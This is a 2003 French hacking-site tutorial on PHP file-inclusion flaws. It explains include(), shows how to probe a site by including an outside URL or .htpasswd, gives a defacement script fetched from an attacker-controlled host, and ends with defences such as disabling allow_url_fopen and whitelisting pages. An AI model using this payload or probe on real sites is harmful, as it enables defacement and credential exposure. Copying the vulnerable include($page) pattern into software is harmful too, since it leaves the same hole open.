_________________________________________________________________________________________________________

 

------/~~~~~~~~~~~~~~~~~~~\
---------=< |- Include Vulnerability-| >=--
------\~~~~~~~~~~~~~~~~~~~~/

 

SOMMAIRE :

I. Inclusion d'une autre page.
II. Inclusion de variables.
III. Exploitation.
IV. Sécurité

_ 1) Contrôle de la variable.


La faille dite d'include est tres courante sur les sites php. L'include sert principalement à inclure une page dans une autre pour faciliter les mises à jour par exemple ou encore plus fréquament à inclure des variables provenants d'un fichier de configuration.

I. Inclusion d'une autre page.

<?
include($page);
?>

Dans un code html :

<html>
<head>
<title>Page1</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
</head>

<body>
[color=red]<? include("maj.php"); ?> [/color]// La page que nous incluons dans page1.php
</body>
</html>

II. nclusion de variables

<?
//------------------------------------------------
//------------- Page config.php ---------------
//-----------------------------------------------
$login = "admin";
$pass = "pass";
//-------------------- END ---------------------
?>

 

<?
//---------------------------------------------------
//------------- Page protec.php ---------------
//---------------------------------------------------
include("config.php"); // La page config.php ou sont stokés les variables

if($good1==$login & $good2==$pass)
{
include ("identification_ok.php"); // si le login et le pass est identique au config.php
}
else
{
echo "<center>Mauvais login/pass</center><br>";
include ("admin.php");
}
//-------------------- END -----------------------
?>


NB : la fonction include() est quasiment identique à require()

Voilà pour les principales utilisations de l'include en php.
Si l'utilisateur se limite au donnés transmises grace à ces includes sans les modifier, il n'y a aucun problème. Mais s'il les modifient (Par exemple: http://www.lesite.com/page.php?page=.htpsswrd) il a accés à un grand nombre d'informations et peut par la meme occasion défacer le site.
Pour trouver la faille il suffit d'essayer d'inclure une URL : http://www.lesite.com/page.php?page=http://www.google.com. Si on arrive sur une erreur 404, c'est que la faille semble être protégée. Si au contraire la page d'acceuil de google est include dans la page du site c'est qu'elle est présente !

III. Exploitation

Imaginons que le test précédent ai fonctionné et que google s'est affiché au beau milieu de la page du site. Le pirate va uploder sur un compte web perso un script du type :

<?
//-------------Hack.php--------------
$fp=fopen("index.php", w);
$msg="Le message qu'il veut mettre en en tete du site";
fwrite($fp,$msg);
fclose($fp);
?>

Il va ensuite "l'inclure" dans le site à défacer : http://www.lesite.com/page.php?page=http://le_site_du_pirate.free.fr/hack.php

Normalement, si tout c'est bien passé, le message devrait être inscrit sur la page d'acceuil du site. Naturellement il est tout à fait possible d'y mettre du html...


IV. Sécurité


Il ne faut pas oublier d'aller vérifier dans le fichier php.ini que allow_url_fopen soit sur off pour empecher l''inclusion de données externes.

En premier , rappelons la syntaxe de la fonction include dans le script : (cas des pseudos frames)

<?
$fp=fopen("la page.php", w);
if(file_exists($page)) //si la variable($) page existe
{
include($page); //alors on l'inclue
}
else
{
include ("404.php"); // on inclue une page d'erreur.
}
?>


Donc une premiere methode de sécurisation consiste à ajouter l'extention .php apres la variable d'include tel que $page = $page..php;

Donc en reprenant l'example plus haut : www.lesite.com/page.php?page=http://le_site_du_pirate.free.fr/hack.php

Cette url conduira desormais à une erreure 404 vue que .php sera rajouté à la fin de l'URL ( ../hack.php.php ) .

Le problème , c'est que si on ecrit : www.lesite.com/page.php?page=http://le_site_du_pirate.free.fr/hack

.php sera encore rajouté à la fin de l'URL et cette fois çi , la page sera bien incluse !

Par contre cette securite , sans interdire totalement l'injection de code , empeche l'accés aux fichiers sensibles tel que .htaccess .htpasswd ...


1) Contrôle de la variable

<?
switch ($page) {
case "page1.php":
case "page2.php":
case "pages/page.php":
include($page);
break;

default:
exit("404"); // Si la variable ne correspond ni à "page1" ni a "page2" ni a "pages/page.php"
}
?>

Sps6m3n

Copyright © 2003 ArenHack